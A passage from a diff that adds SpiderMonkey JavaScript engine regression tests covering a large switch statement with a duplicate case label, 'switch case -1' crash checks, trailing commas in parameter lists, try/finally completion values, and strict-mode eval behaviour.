+case 7941:
+case 7942:
+case 7943:
+case 7944:
+case 7945:
+case 7946:
+case 7947:
+case 7948:
+case 7949:
+case 7950:
+case 7951:
+case 7952:
+case 7953:
+case 7954:
+case 7955:
+case 7956:
+case 7957:
+case 7958:
+case 7959:
+case 7960:
+case 7961:
+case 7962:
+case 7963:
+case 7964:
+case 7965:
+case 7966:
+case 7967:
+case 7968:
+case 7969:
+case 7970:
+case 7971:
+case 7972:
+case 7973:
+case 7974:
+case 7975:
+case 7976:
+case 7977:
+case 7978:
+case 7979:
+case 7980:
+case 7981:
+case 7982:
+case 7983:
+case 7984:
+case 7985:
+case 7986:
+case 7987:
+case 7988:
+case 7989:
+case 7990:
+case 7991:
+case 7992:
+case 7993:
+case 7994:
+case 7995:
+case 7996:
+case 7997:
+case 7998:
+case 7999:
+case 8000:
+case 8001:
+case 8002:
+case 8003:
+case 8004:
+case 8005:
+case 8006:
+case 8007:
+case 8008:
+case 8009:
+case 8010:
+case 8011:
+case 8012:
+case 8013:
+case 8014:
+case 8015:
+case 8016:
+case 8017:
+case 8018:
+case 8019:
+case 8020:
+case 8021:
+case 8022:
+case 8023:
+case 8024:
+case 8025:
+case 8026:
+case 8027:
+case 8028:
+case 8029:
+case 8030:
+case 8031:
+case 8032:
+case 8033:
+case 8034:
+case 8035:
+case 8036:
+case 8037:
+case 8038:
+case 8039:
+case 8040:
+case 8041:
+case 8042:
+case 8043:
+case 8044:
+case 8045:
+case 8046:
+case 8047:
+case 8048:
+case 8049:
+case 8050:
+case 8051:
+case 8052:
+case 8053:
+case 8054:
+case 8055:
+case 8056:
+case 8057:
+case 8058:
+case 8059:
+case 8060:
+case 8061:
+case 8062:
+case 8063:
+case 8064:
+case 8065:
+case 8066:
+case 8067:
+case 8068:
+case 8069:
+case 8070:
+case 8071:
+case 8072:
+case 8073:
+case 8074:
+case 8075:
+case 8076:
+case 8077:
+case 8078:
+case 8079:
+case 8080:
+case 8081:
+case 8082:
+case 8083:
+case 8084:
+case 8085:
+case 8086:
+case 8087:
+case 8088:
+case 8089:
+case 8090:
+case 8091:
+case 8092:
+case 8093:
+case 8094:
+case 8095:
+case 8096:
+case 8097:
+case 8098:
+case 8099:
+case 8100:
+case 8101:
+case 8102:
+case 8103:
+case 8104:
+case 8105:
+case 8106:
+case 8107:
+case 8108:
+case 8109:
+case 8110:
+case 8111:
+case 8112:
+case 8113:
+case 8114:
+case 8115:
+case 8116:
+case 8117:
+case 8118:
+case 8119:
+case 8120:
+case 8121:
+case 8122:
+case 8123:
+case 8124:
+case 8125:
+case 8126:
+case 8127:
+case 8128:
+case 8129:
+case 8130:
+case 8131:
+case 8132:
+case 8133:
+case 8134:
+case 8135:
+case 8136:
+case 8137:
+case 8138:
+case 8139:
+case 8140:
+case 8141:
+case 8142:
+case 8143:
+case 8144:
+case 8145:
+case 8146:
+case 8147:
+case 8148:
+case 8149:
+case 8150:
+case 8151:
+case 8152:
+case 8153:
+case 8154:
+case 8155:
+case 8156:
+case 8157:
+case 8158:
+case 8159:
+case 8160:
+case 8161:
+case 8162:
+case 8163:
+case 8164:
+case 8165:
+case 8166:
+case 8167:
+case 8168:
+case 8169:
+case 8170:
+case 8171:
+case 8172:
+case 8173:
+case 8174:
+case 8175:
+case 8176:
+case 8177:
+case 8178:
+case 8179:
+case 8180:
+case 8181:
+case 8182:
+case 8183:
+case 8184:
+case 8185:
+case 8186:
+case 8187:
+case 8188:
+case 8189:
+case 8190:
+case 8191:
+case 8192:
+case 8193:
+case 8194:
+case 8195:
+case 8196:
+case 8197:
+case 8198:
+case 8199:
+case 8200:
+case 8201:
+case 8202:
+case 8203:
+case 8204:
+case 8205:
+case 8206:
+case 8207:
+case 8208:
+case 8209:
+case 8210:
+case 8211:
+case 8212:
+case 8213:
+case 8214:
+case 8215:
+case 8216:
+case 8217:
+case 8218:
+case 8219:
+case 8220:
+case 8221:
+case 8222:
+case 8223:
+case 8224:
+case 8225:
+case 8226:
+case 8227:
+case 8228:
+case 8229:
+case 8230:
+case 8231:
+case 8232:
+case 8233:
+case 8234:
+case 8235:
+case 8236:
+case 8237:
+case 8238:
+case 8239:
+case 8240:
+case 8241:
+case 8242:
+case 8243:
+case 8244:
+case 8245:
+case 8246:
+case 8247:
+case 8248:
+case 8249:
+case 8250:
+case 8251:
+case 8252:
+case 8253:
+case 8254:
+case 8255:
+case 8256:
+case 8257:
+case 8258:
+case 8259:
+case 8260:
+case 8261:
+case 8262:
+case 8263:
+case 8264:
+case 8265:
+case 8266:
+case 8267:
+case 8268:
+case 8269:
+case 8270:
+case 8271:
+case 8272:
+case 8273:
+case 8274:
+case 8275:
+case 8276:
+case 8277:
+case 8278:
+case 8279:
+case 8280:
+case 8281:
+case 8282:
+case 8283:
+case 8284:
+case 8285:
+case 8286:
+case 8287:
+case 8288:
+case 8289:
+case 8290:
+case 8291:
+case 8292:
+case 8293:
+case 8294:
+case 8295:
+case 8296:
+case 8297:
+case 8298:
+case 8299:
+case 8300:
+case 8301:
+case 8302:
+case 8303:
+case 8304:
+case 8305:
+case 8306:
+case 8307:
+case 8308:
+case 8309:
+case 8310:
+case 8311:
+case 8312:
+case 8313:
+case 8314:
+case 8315:
+case 8316:
+case 8317:
+case 8318:
+case 8319:
+case 8320:
+case 8321:
+case 8322:
+case 8323:
+case 8324:
+case 8325:
+case 8326:
+case 8327:
+case 8328:
+case 8329:
+case 8330:
+case 8331:
+case 8332:
+case 8333:
+case 8334:
+case 8335:
+case 8336:
+case 8337:
+case 8338:
+case 8339:
+case 8340:
+case 8341:
+case 8342:
+case 8343:
+case 8344:
+case 8345:
+case 8346:
+case 8347:
+case 8348:
+case 8349:
+case 8350:
+case 8351:
+case 8352:
+case 8353:
+case 8354:
+case 8355:
+case 8356:
+case 8357:
+case 8358:
+case 8359:
+case 8360:
+case 8361:
+case 8362:
+case 8363:
+case 8364:
+case 8365:
+case 8366:
+case 8367:
+case 8368:
+case 8369:
+case 8370:
+case 8371:
+case 8372:
+case 8373:
+case 8374:
+case 8375:
+case 8376:
+case 8377:
+case 8378:
+case 8379:
+case 8380:
+case 8381:
+case 8382:
+case 8383:
+case 8384:
+case 8385:
+case 8386:
+case 8387:
+case 8388:
+case 8389:
+case 8390:
+case 8391:
+case 8392:
+case 8393:
+case 8394:
+case 8395:
+case 8396:
+case 8397:
+case 8398:
+case 8399:
+case 8400:
+case 8401:
+case 8402:
+case 8403:
+case 8404:
+case 8405:
+case 8406:
+case 8407:
+case 8408:
+case 8409:
+case 8410:
+case 8411:
+case 8412:
+case 8413:
+case 8414:
+case 8415:
+case 8416:
+case 8417:
+case 8418:
+case 8419:
+case 8420:
+case 8421:
+case 8422:
+case 8423:
+case 8424:
+case 8425:
+case 8426:
+case 8427:
+case 8428:
+case 8429:
+case 8430:
+case 8431:
+case 8432:
+case 8433:
+case 8434:
+case 8435:
+case 8436:
+case 8437:
+case 8438:
+case 8439:
+case 8440:
+case 8441:
+case 8442:
+case 8443:
+case 8444:
+case 8445:
+case 8446:
+case 8447:
+case 8448:
+case 8449:
+case 8450:
+case 8451:
+case 8452:
+case 8453:
+case 8454:
+case 8455:
+case 8456:
+case 8457:
+case 8458:
+case 8459:
+case 8460:
+case 8461:
+case 8462:
+case 8463:
+case 8464:
+case 8465:
+case 8466:
+case 8467:
+case 8468:
+case 8469:
+case 8470:
+case 8471:
+case 8472:
+case 8473:
+case 8474:
+case 8475:
+case 8476:
+case 8477:
+case 8478:
+case 8479:
+case 8480:
+case 8481:
+case 8482:
+case 8483:
+case 8484:
+case 8485:
+case 8486:
+case 8487:
+case 8488:
+case 8489:
+case 8490:
+case 8491:
+case 8492:
+case 8493:
+case 8494:
+case 8495:
+case 8496:
+case 8497:
+case 8498:
+case 8499:
+case 8500:
+case 8501:
+case 8502:
+case 8503:
+case 8504:
+case 8505:
+case 8506:
+case 8507:
+case 8508:
+case 8509:
+case 8510:
+case 8511:
+case 8512:
+case 8513:
+case 8514:
+case 8515:
+case 8516:
+case 8517:
+case 8518:
+case 8519:
+case 8520:
+case 8521:
+case 8522:
+case 8523:
+case 8524:
+case 8525:
+case 8526:
+case 8527:
+case 8528:
+case 8529:
+case 8530:
+case 8531:
+case 8532:
+case 8533:
+case 8534:
+case 8535:
+case 8536:
+case 8537:
+case 8538:
+case 8539:
+case 8540:
+case 8541:
+case 8542:
+case 8543:
+case 8544:
+case 8545:
+case 8546:
+case 8547:
+case 8548:
+case 8549:
+case 8550:
+case 8551:
+case 8552:
+case 8553:
+case 8554:
+case 8555:
+case 8556:
+case 8557:
+case 8558:
+case 8559:
+case 8560:
+case 8561:
+case 8562:
+case 8563:
+case 8564:
+case 8565:
+case 8566:
+case 8567:
+case 8568:
+case 8569:
+case 8570:
+case 8571:
+case 8572:
+case 8573:
+case 8574:
+case 8575:
+case 8576:
+case 8577:
+case 8578:
+case 8579:
+case 8580:
+case 8581:
+case 8582:
+case 8583:
+case 8584:
+case 8585:
+case 8586:
+case 8587:
+case 8588:
+case 8589:
+case 8590:
+case 8591:
+case 8592:
+case 8593:
+case 8594:
+case 8595:
+case 8596:
+case 8597:
+case 8598:
+case 8599:
+case 8600:
+case 8601:
+case 8602:
+case 8603:
+case 8604:
+case 8605:
+case 8606:
+case 8607:
+case 8608:
+case 8609:
+case 8610:
+case 8611:
+case 8612:
+case 8613:
+case 8614:
+case 8615:
+case 8616:
+case 8617:
+case 8618:
+case 8619:
+case 8620:
+case 8621:
+case 8622:
+case 8623:
+case 8624:
+case 8625:
+case 8626:
+case 8627:
+case 8628:
+case 8629:
+case 8630:
+case 8631:
+case 8632:
+case 8633:
+case 8634:
+case 8635:
+case 8636:
+case 8637:
+case 8638:
+case 8639:
+case 8640:
+case 8641:
+case 8642:
+case 8643:
+case 8644:
+case 8645:
+case 8646:
+case 8647:
+case 8648:
+case 8649:
+case 8650:
+case 8651:
+case 8652:
+case 8653:
+case 8654:
+case 8655:
+case 8656:
+case 8657:
+case 8658:
+case 8659:
+case 8660:
+case 8661:
+case 8662:
+case 8663:
+case 8664:
+case 8665:
+case 8666:
+case 8667:
+case 8668:
+case 8669:
+case 8670:
+case 8671:
+case 8672:
+case 8673:
+case 8674:
+case 8675:
+case 8676:
+case 8677:
+case 8678:
+case 8679:
+case 8680:
+case 8681:
+case 8682:
+case 8683:
+case 8684:
+case 8685:
+case 8686:
+case 8687:
+case 8688:
+case 8689:
+case 8690:
+case 8691:
+case 8692:
+case 8693:
+case 8694:
+case 8695:
+case 8696:
+case 8697:
+case 8698:
+case 8699:
+case 8700:
+case 8701:
+case 8702:
+case 8703:
+case 8704:
+case 8705:
+case 8706:
+case 8707:
+case 8708:
+case 8709:
+case 8710:
+case 8711:
+case 8712:
+case 8713:
+case 8714:
+case 8715:
+case 8716:
+case 8717:
+case 8718:
+case 8719:
+case 8720:
+case 8721:
+case 8722:
+case 8723:
+case 8724:
+case 8725:
+case 8726:
+case 8727:
+case 8728:
+case 8729:
+case 8730:
+case 8731:
+case 8732:
+case 8733:
+case 8734:
+case 8735:
+case 8736:
+case 8737:
+case 8738:
+case 8739:
+case 8740:
+case 8741:
+case 8742:
+case 8743:
+case 8744:
+case 8745:
+case 8746:
+case 8747:
+case 8748:
+case 8749:
+case 8750:
+case 8751:
+case 8752:
+case 8753:
+case 8754:
+case 8755:
+case 8756:
+case 8757:
+case 8758:
+case 8759:
+case 8760:
+case 8761:
+case 8762:
+case 8763:
+case 8764:
+case 8765:
+case 8766:
+case 8767:
+case 8768:
+case 8769:
+case 8770:
+case 8771:
+case 8772:
+case 8773:
+case 8774:
+case 8775:
+case 8776:
+case 8777:
+case 8778:
+case 8779:
+case 8780:
+case 8781:
+case 8782:
+case 8783:
+case 8784:
+case 8785:
+case 8786:
+case 8787:
+case 8788:
+case 8789:
+case 8790:
+case 8791:
+case 8792:
+case 8793:
+case 8794:
+case 8795:
+case 8796:
+case 8797:
+case 8798:
+case 8799:
+case 8800:
+case 8801:
+case 8802:
+case 8803:
+case 8804:
+case 8805:
+case 8806:
+case 8807:
+case 8808:
+case 8809:
+case 8810:
+case 8811:
+case 8812:
+case 8813:
+case 8814:
+case 8815:
+case 8816:
+case 8817:
+case 8818:
+case 8819:
+case 8820:
+case 8821:
+case 8822:
+case 8823:
+case 8824:
+case 8825:
+case 8826:
+case 8827:
+case 8828:
+case 8829:
+case 8830:
+case 8831:
+case 8832:
+case 8833:
+case 8834:
+case 8835:
+case 8836:
+case 8837:
+case 8838:
+case 8839:
+case 8840:
+case 8841:
+case 8842:
+case 8843:
+case 8844:
+case 8845:
+case 8846:
+case 8847:
+case 8848:
+case 8849:
+case 8850:
+case 8851:
+case 8852:
+case 8853:
+case 8854:
+case 8855:
+case 8856:
+case 8857:
+case 8858:
+case 8859:
+case 8860:
+case 8861:
+case 8862:
+case 8863:
+case 8864:
+case 8865:
+case 8866:
+case 8867:
+case 8868:
+case 8869:
+case 8870:
+case 8871:
+case 8872:
+case 8873:
+case 8874:
+case 8875:
+case 8876:
+case 8877:
+case 8878:
+case 8879:
+case 8880:
+case 8881:
+case 8882:
+case 8883:
+case 8884:
+case 8885:
+case 8886:
+case 8887:
+case 8888:
+case 8889:
+case 8890:
+case 8891:
+case 8892:
+case 8893:
+case 8894:
+case 8895:
+case 8896:
+case 8897:
+case 8898:
+case 8899:
+case 8900:
+case 8901:
+case 8902:
+case 8903:
+case 8904:
+case 8905:
+case 8906:
+case 8907:
+case 8908:
+case 8909:
+case 8910:
+case 8911:
+case 8912:
+case 8913:
+case 8914:
+case 8915:
+case 8916:
+case 8917:
+case 8918:
+case 8919:
+case 8920:
+case 8921:
+case 8922:
+case 8923:
+case 8924:
+case 8925:
+case 8926:
+case 8927:
+case 8928:
+case 8929:
+case 8930:
+case 8931:
+case 8932:
+case 8933:
+case 8934:
+case 8935:
+case 8936:
+case 8937:
+case 8938:
+case 8939:
+case 8940:
+case 8941:
+case 8942:
+case 8943:
+case 8944:
+case 8945:
+case 8946:
+case 8947:
+case 8948:
+case 8949:
+case 8950:
+case 8951:
+case 8952:
+case 8953:
+case 8954:
+case 8955:
+case 8956:
+case 8957:
+case 8958:
+case 8959:
+case 8960:
+case 8961:
+case 8962:
+case 8963:
+case 8964:
+case 8965:
+case 8966:
+case 8967:
+case 8968:
+case 8969:
+case 8970:
+case 8971:
+case 8972:
+case 8973:
+case 8974:
+case 8975:
+case 8976:
+case 8977:
+case 8978:
+case 8979:
+case 8980:
+case 8981:
+case 8982:
+case 8983:
+case 8984:
+case 8985:
+case 8986:
+case 8987:
+case 8988:
+case 8989:
+case 8990:
+case 8991:
+case 8992:
+case 8993:
+case 8994:
+case 8995:
+case 8996:
+case 8997:
+case 8998:
+case 8998: // DUPLICATE LABEL
+ actual += 'a';
+case 8999:
+ actual += 'b';
+}
+expect = 'ab';
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/statements/regress-83532-001.js b/js/src/tests/non262/statements/regress-83532-001.js
new file mode 100644
index 0000000000..69d84b5c54
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-83532-001.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 01 June 2001
+ *
+ * SUMMARY: Testing that we don't crash on switch case -1...
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=83532
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 83532;
+var summary = "Testing that we don't crash on switch case -1";
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // Just testing that we don't crash on these -
+ function f () {switch(1) {case -1:}}
+ function g(){switch(1){case (-1):}}
+ var h = function() {switch(1) {case -1:}}
+ f();
+ g();
+ h();
+ reportCompare('No Crash', 'No Crash', '');
+}
diff --git a/js/src/tests/non262/statements/regress-83532-002.js b/js/src/tests/non262/statements/regress-83532-002.js
new file mode 100644
index 0000000000..c8c212968b
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-83532-002.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 01 June 2001
+ *
+ * SUMMARY: Testing that we don't crash on switch case -1...
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=83532
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 83532;
+var summary = "Testing that we don't crash on switch case -1";
+var sToEval = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // Just testing that we don't crash on these -
+ sToEval += 'function f () {switch(1) {case -1:}};';
+ sToEval += 'function g(){switch(1){case (-1):}};';
+ sToEval += 'var h = function() {switch(1) {case -1:}};'
+ sToEval += 'f();';
+ sToEval += 'g();';
+ sToEval += 'h();';
+ eval(sToEval);
+
+ reportCompare('No Crash', 'No Crash', '');
+}
diff --git a/js/src/tests/non262/statements/shell.js b/js/src/tests/non262/statements/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/statements/shell.js
diff --git a/js/src/tests/non262/statements/trailing_comma_parameters.js b/js/src/tests/non262/statements/trailing_comma_parameters.js
new file mode 100644
index 0000000000..8612f7b1bf
--- /dev/null
+++ b/js/src/tests/non262/statements/trailing_comma_parameters.js
@@ -0,0 +1,92 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Trailing comma in functions and generators.
+
+// 14.1 Function Definitions
+// FunctionDeclaration[Yield, Default]:
+// function BindingIdentifier[?Yield] ( FormalParameters[~Yield] ) { FunctionBody[~Yield] }
+
+// 14.4 Generator Function Definitions
+// GeneratorDeclaration[Yield, Default]:
+// function * BindingIdentifier[?Yield] ( FormalParameters[+Yield] ) { GeneratorBody }
+
+
+function functionDeclaration(argList, parameters = "", returnExpr = "") {
+ return eval(`
+ function f(${argList}) {
+ var fun = f;
+ return ${returnExpr};
+ }
+ f(${parameters});
+ `);
+}
+
+function generatorDeclaration(argList, parameters = "", returnExpr = "") {
+ return eval(`
+ function* f(${argList}) {
+ var fun = f;
+ return ${returnExpr};
+ }
+ f(${parameters}).next().value;
+ `);
+}
+
+const tests = [
+ functionDeclaration,
+ generatorDeclaration,
+];
+
+// Ensure parameters are passed correctly.
+for (let test of tests) {
+ assertEq(test("a, ", "10", "a"), 10);
+ assertEq(test("a, b, ", "10, 20", "a + b"), 30);
+ assertEq(test("a = 30, ", "", "a"), 30);
+ assertEq(test("a = 30, b = 40, ", "", "a + b"), 70);
+
+ assertEq(test("[a], ", "[10]", "a"), 10);
+ assertEq(test("[a], [b], ", "[10], [20]", "a + b"), 30);
+ assertEq(test("[a] = [30], ", "", "a"), 30);
+ assertEq(test("[a] = [30], [b] = [40], ", "", "a + b"), 70);
+
+ assertEq(test("{a}, ", "{a: 10}", "a"), 10);
+ assertEq(test("{a}, {b}, ", "{a: 10}, {b: 20}", "a + b"), 30);
+ assertEq(test("{a} = {a: 30}, ", "", "a"), 30);
+ assertEq(test("{a} = {a: 30}, {b} = {b: 40}, ", "", "a + b"), 70);
+}
+
+// Ensure function length doesn't change.
+for (let test of tests) {
+ assertEq(test("a, ", "", "fun.length"), 1);
+ assertEq(test("a, b, ", "", "fun.length"), 2);
+
+ assertEq(test("[a], ", "[]", "fun.length"), 1);
+ assertEq(test("[a], [b], ", "[], []", "fun.length"), 2);
+
+ assertEq(test("{a}, ", "{}", "fun.length"), 1);
+ assertEq(test("{a}, {b}, ", "{}, {}", "fun.length"), 2);
+}
+
+for (let test of tests) {
+ // Trailing comma in empty parameters list.
+ assertThrowsInstanceOf(() => test(","), SyntaxError);
+
+ // Leading comma.
+ assertThrowsInstanceOf(() => test(", a"), SyntaxError);
+ assertThrowsInstanceOf(() => test(", ...a"), SyntaxError);
+
+ // Multiple trailing comma.
+ assertThrowsInstanceOf(() => test("a, , "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a..., , "), SyntaxError);
+
+ // Trailing comma after rest parameter.
+ assertThrowsInstanceOf(() => test("...a, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a, ...b, "), SyntaxError);
+
+ // Elision.
+ assertThrowsInstanceOf(() => test("a, , b"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/statements/try-completion.js b/js/src/tests/non262/statements/try-completion.js
new file mode 100644
index 0000000000..f9bd1e1496
--- /dev/null
+++ b/js/src/tests/non262/statements/try-completion.js
@@ -0,0 +1,482 @@
+var BUGNUMBER = 819125;
+var summary = "try block should return try value if finally returned normally";
+
+print(BUGNUMBER + ": " + summary);
+
+function expectTryValue(code, isUndefined) {
+ assertEq(eval(code), isUndefined ? undefined : 'try');
+}
+
+function expectCatchValue(code, isUndefined) {
+ assertEq(eval(code), isUndefined ? undefined : 'catch');
+}
+
+function expectFinallyValue(code, isUndefined) {
+ assertEq(eval(code), isUndefined ? undefined : 'finally');
+}
+
+// ==== finally: normal ====
+
+// try: normal
+// finally: normal
+expectTryValue(`
+try {
+ 'try';
+} finally {
+ 'finally';
+}
+`);
+
+// try: normal without value
+// finally: normal
+expectTryValue(`
+try {
+} finally {
+ 'finally';
+}
+`, true);
+
+// try: break
+// finally: normal
+expectTryValue(`
+while (true) {
+ try {
+ 'try';
+ break;
+ } finally {
+ 'finally';
+ }
+}
+`);
+
+// try: break without value
+// finally: normal
+expectTryValue(`
+while (true) {
+ try {
+ break;
+ } finally {
+ 'finally';
+ }
+}
+`, true);
+
+// try: continue
+// finally: normal
+expectTryValue(`
+do {
+ try {
+ 'try';
+ continue;
+ } finally {
+ 'finally';
+ }
+} while (false);
+`);
+
+// try: continue without value
+// finally: normal
+expectTryValue(`
+do {
+ try {
+ continue;
+ } finally {
+ 'finally';
+ }
+} while (false);
+`, true);
+
+// try: throw
+// catch: normal
+// finally: normal
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+ 'catch';
+} finally {
+ 'finally';
+}
+`);
+
+// try: throw
+// catch: normal
+// finally: normal
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+ 'catch';
+} finally {
+ 'finally';
+}
+`);
+
+// try: throw
+// catch: normal without value
+// finally: normal
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+} finally {
+ 'finally';
+}
+`, true);
+
+// try: throw
+// catch: normal without value
+// finally: normal
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+} finally {
+ 'finally';
+}
+`, true);
+
+// try: throw
+// catch: break
+// finally: normal
+expectCatchValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ break;
+ } finally {
+ 'finally';
+ }
+}
+`);
+
+// try: throw
+// catch: break without value
+// finally: normal
+expectCatchValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ break;
+ } finally {
+ 'finally';
+ }
+}
+`, true);
+
+// try: throw
+// catch: continue
+// finally: normal
+expectCatchValue(`
+do {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ continue;
+ } finally {
+ 'finally';
+ }
+} while (false);
+`);
+
+// try: throw
+// catch: continue without value
+// finally: normal
+expectCatchValue(`
+do {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ continue;
+ } finally {
+ 'finally';
+ }
+} while (false);
+`, true);
+
+// ==== finally: break ====
+
+// try: normal
+// finally: break
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ } finally {
+ 'finally';
+ break;
+ }
+}
+`);
+
+// try: normal
+// finally: break without value
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ } finally {
+ break;
+ }
+}
+`, true);
+
+// try: break
+// finally: break
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ break;
+ } finally {
+ 'finally';
+ break;
+ }
+}
+`);
+
+// try: break
+// finally: break without value
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ break;
+ } finally {
+ break;
+ }
+}
+`, true);
+
+// try: continue
+// finally: break
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ continue;
+ } finally {
+ 'finally';
+ break;
+ }
+} while (false);
+`);
+
+// try: continue
+// finally: break without value
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ continue;
+ } finally {
+ break;
+ }
+} while (false);
+`, true);
+
+// try: throw
+// catch: normal
+// finally: break
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ } finally {
+ 'finally';
+ break;
+ }
+}
+`, false);
+
+// try: throw
+// catch: normal
+// finally: break without value
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ } finally {
+ break;
+ }
+}
+`, true);
+
+// ==== finally: continue ====
+
+// try: normal
+// finally: continue
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ } finally {
+ 'finally';
+ continue;
+ }
+} while (false);
+`);
+
+// try: normal
+// finally: continue without value
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ } finally {
+ continue;
+ }
+} while (false);
+`, true);
+
+// try: break
+// finally: continue
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ break;
+ } finally {
+ 'finally';
+ continue;
+ }
+} while (false);
+`);
+
+// try: break
+// finally: continue without value
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ break;
+ } finally {
+ continue;
+ }
+} while (false);
+`, true);
+
+// try: continue
+// finally: continue
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ continue;
+ } finally {
+ 'finally';
+ continue;
+ }
+} while (false);
+`);
+
+// try: continue
+// finally: continue without value
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ continue;
+ } finally {
+ continue;
+ }
+} while (false);
+`, true);
+
+// ==== without finally ====
+
+// try: throw
+// catch: normal
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+ 'catch';
+}
+`);
+
+// try: throw
+// catch: normal without value
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+}
+`, true);
+
+// try: throw
+// catch: break
+expectCatchValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ break;
+ }
+}
+`);
+
+// try: throw
+// catch: break without value
+expectCatchValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ break;
+ }
+}
+`, true);
+
+// try: throw
+// catch: continue
+expectCatchValue(`
+do {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ continue;
+ }
+} while (false);
+`);
+
+// try: throw
+// catch: continue without value
+expectCatchValue(`
+do {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ continue;
+ }
+} while (false);
+`, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/10.4.2.js b/js/src/tests/non262/strict/10.4.2.js
new file mode 100644
index 0000000000..b68578d64d
--- /dev/null
+++ b/js/src/tests/non262/strict/10.4.2.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Direct calls to eval should inherit the strictness of the calling code. */
+assertEq(testLenientAndStrict("eval('010')",
+ completesNormally,
+ raisesException(SyntaxError)),
+ true);
+
+/*
+ * Directives in the eval code itself should always override a direct
+ * caller's strictness.
+ */
+assertEq(testLenientAndStrict("eval('\"use strict\"; 010')",
+ raisesException(SyntaxError),
+ raisesException(SyntaxError)),
+ true);
+
+/* Code passed to indirect calls to eval should never be strict. */
+assertEq(testLenientAndStrict("var evil=eval; evil('010')",
+ completesNormally,
+ completesNormally),
+ true);
+
+/*
+ * Code passed to the Function constructor never inherits the caller's
+ * strictness.
+ */
+assertEq(completesNormally("Function('010')"),
+ true);
+assertEq(raisesException(SyntaxError)("Function('\"use strict\"; 010')"),
+ true);
+
+/*
+ * If 'eval' causes a frame's primitive |this| to become wrapped, the frame should see the same
+ * wrapper object as the eval code.
+ */
+var call_this, eval_this;
+function f(code) {
+ /*
+ * At this point, a primitive |this| has not yet been wrapped. A
+ * reference to |this| from the eval call should wrap it, and the wrapper
+ * should be stored where the call frame can see it.
+ */
+ eval(code);
+ call_this = this;
+}
+f.call(true, 'eval_this = this');
+assertEq(call_this, eval_this);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/10.4.3.js b/js/src/tests/non262/strict/10.4.3.js
new file mode 100644
index 0000000000..b70a6a0d77
--- /dev/null
